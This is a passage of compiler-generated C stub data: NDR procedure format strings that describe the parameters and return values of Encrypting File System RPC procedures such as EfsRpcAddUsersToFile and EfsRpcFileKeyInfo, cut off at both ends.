*/\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 256 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 258 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 262 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 264 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 266 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 268 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter OpenFlag */\n\n/* 270 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 272 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 274 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 276 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 278 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 280 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcQueryUsersOnFile */\n\n/* 282 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 284 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 288 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 290 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 292 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 294 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 298 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 300 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 302 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 304 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 306 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 312 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 314 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 316 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter Users */\n\n/* 318 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 320 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 322 */\tNdrFcShort( 0x36 ),\t/* Type Offset=54 */\n\n\t/* Return value */\n\n/* 324 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 326 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcQueryRecoveryAgents */\n\n/* 330 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 332 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 336 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 338 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 340 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 342 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 346 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 348 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 350 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 352 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 360 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 362 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 364 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter RecoveryAgents */\n\n/* 366 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 368 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 370 */\tNdrFcShort( 0x36 ),\t/* Type Offset=54 */\n\n\t/* Return value */\n\n/* 372 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 374 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 376 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcRemoveUsersFromFile */\n\n/* 378 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 380 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 384 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 386 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 388 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 390 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 394 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 396 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 398 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 402 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 404 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 406 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 408 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 410 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 412 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter Users */\n\n/* 414 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 416 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 418 */\tNdrFcShort( 0xdc ),\t/* Type Offset=220 */\n\n\t/* Return value */\n\n/* 420 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 422 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 424 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcAddUsersToFile */\n\n/* 426 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 428 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 432 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 434 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 436 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 438 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 440 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 442 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 444 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 446 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 448 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 450 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 452 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 454 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 456 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 458 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 460 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter EncryptionCertificates */\n\n/* 462 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 464 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 466 */\tNdrFcShort( 0x15a ),\t/* Type Offset=346 */\n\n\t/* Return value */\n\n/* 468 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 470 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 472 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc10_EfsRpcSetFileEncryptionKey */\n\n/* 474 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 476 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 480 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 482 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 484 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 486 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 488 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 490 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 492 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 494 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 496 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 498 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 500 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 502 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 504 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 506 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 508 */\tNdrFcShort( 0x16a ),\t/* Type Offset=362 */\n\n\t/* Parameter arg_2 */\n\n/* 510 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 512 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 514 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter arg_3 */\n\n/* 516 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 518 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 520 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 522 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 524 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 526 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcNotSupported */\n\n/* 528 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 530 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 534 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 536 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 538 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 540 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 542 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 544 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 546 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 548 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 550 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 552 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Reserved1 */\n\n/* 558 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 560 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 562 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter Reserved2 */\n\n/* 564 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 566 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 568 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter dwReserved1 */\n\n/* 570 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 572 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 574 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwReserved2 */\n\n/* 576 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 578 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 580 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Reserved */\n\n/* 582 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 584 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 586 */\tNdrFcShort( 0x1c8 ),\t/* Type Offset=456 */\n\n\t/* Parameter bReserved */\n\n/* 588 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 590 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 592 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 594 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 596 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 598 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcFileKeyInfo */\n\n/* 600 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 602 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 606 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 608 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 610 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 612 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 614 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 616 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 618 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 620 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 622 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 624 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 626 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 628 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter FileName */\n\n/* 630 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 632 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 634 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter InfoClass */\n\n/* 636 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 638 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter KeyInfo */\n\n/* 642 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 644 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 646 */\tNdrFcShort( 0x1f2 ),\t/* Type Offset=498 */\n\n\t/* Return value */\n\n/* 648 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 650 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 652 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcDuplicateEncryptionInfoFile */\n\n/* 654 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 656 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 660 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 662 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 664 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 666 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 668 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 670 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 672 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 674 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 676 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 678 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 682 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter SrcFileName */\n\n/* 684 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 686 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 688 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter DestFileName */\n\n/* 690 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 692 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 694 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter dwCreationDisposition */\n\n/* 696 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 698 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 700 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwAttributes */\n\n/* 702 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 704 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 706 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RelativeSD */\n\n/* 708 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 710 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 712 */\tNdrFcShort( 0x1c8 ),\t/* Type Offset=456 */\n\n\t/* Parameter bInheritHandle */\n\n/* 714 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 716 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 720 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 722 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 724 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc14_EfsUsePinForEncryptedFiles */\n\n/* 726 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 728 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 732 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 734 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 736 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 738 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 742 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 744 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 746 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 748 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 750 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 752 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 754 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_1 */\n\n/* 756 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 758 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 760 */\tNdrFcShort( 0x210 ),\t/* Type Offset=528 */\n\n\t/* Parameter arg_2 */\n\n/* 762 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 764 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 766 */\tNdrFcShort( 0x24e ),\t/* Type Offset=590 */\n\n\t/* Return value */\n\n/* 768 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 770 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 772 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcAddUsersToFileEx */\n\n/* 774 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 776 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 780 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 782 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 784 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 786 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 788 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 790 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 792 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 794 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 796 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 798 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 800 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 802 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter dwFlags */\n\n/* 804 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 806 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 808 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Reserved */\n\n/* 810 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 812 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 814 */\tNdrFcShort( 0x1c8 ),\t/* Type Offset=456 */\n\n\t/* Parameter FileName */\n\n/* 816 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 818 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 820 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter EncryptionCertificates */\n\n/* 822 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 824 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 826 */\tNdrFcShort( 0x15a ),\t/* Type Offset=346 */\n\n\t/* Return value */\n\n/* 828 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 830 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 832 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure EfsRpcFileKeyInfoEx */\n\n/* 834 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 836 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 840 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 842 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 844 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 846 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 848 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 850 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 852 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 854 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 856 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 858 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 860 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 862 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter dwFileKeyInfoFlags */\n\n/* 864 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 866 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 868 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Reserved */\n\n/* 870 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 872 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 874 */\tNdrFcShort( 0x1c8 ),\t/* Type Offset=456 */\n\n\t/* Parameter FileName */\n\n/* 876 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 878 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 880 */\tNdrFcShort( 0xc ),\t/* Type Offset=12 */\n\n\t/* Parameter InfoClass */\n\n/* 882 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 884 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 886 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter KeyInfo */\n\n/* 888 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 890 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 892 */\tNdrFcShort( 0x1f2 ),\t/* Type Offset=498 */\n\n\t/* Return value */\n\n/* 894 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 896 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 898 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc17_EfsRpcFileKeyInfoEx */\n\n/* 900 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 902 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 906 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 908 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 910 */\t0x32,\t\t/* FC_BIND_PRIMITIVE 